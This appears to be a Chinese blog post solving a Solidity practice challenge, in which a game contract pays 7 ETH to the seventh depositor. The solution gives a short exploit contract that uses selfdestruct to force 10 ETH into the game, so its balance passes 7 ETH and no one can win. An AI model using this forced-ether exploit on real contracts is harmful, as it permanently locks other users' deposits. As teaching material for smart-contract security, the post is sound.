Solidity 练习:7 ETH
睡不醒的鲤鱼 2022-12-29 Web3 Solidity
# 一、题目说明
第 7 个存入 1 ETH 的人将赢得 7 ETH。
你一次可以存储 1 ETH。
Alice 和 Bob 已经存储了 1 ETH。
contract SevenEth {
function play() external payable {
require(msg.value == 1 ether, "not 1 ether");
uint bal = address(this).balance;
require(bal <= 7 ether, "game over");
if (bal == 7 ether) {
payable(msg.sender).transfer(7 ether);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
# 二、任务列表
- 停止游戏,这样就没有人能赢 7 ETH。10 ETH 将被发送到 pwn。
# 三、解答代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract SevenEthExploit {
address payable target;
constructor(address payable _target) {
target = _target;
}
function pwn() external payable {
selfdestruct(target);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
2
3
4
5
6
7
8
9
10
11
12
13
14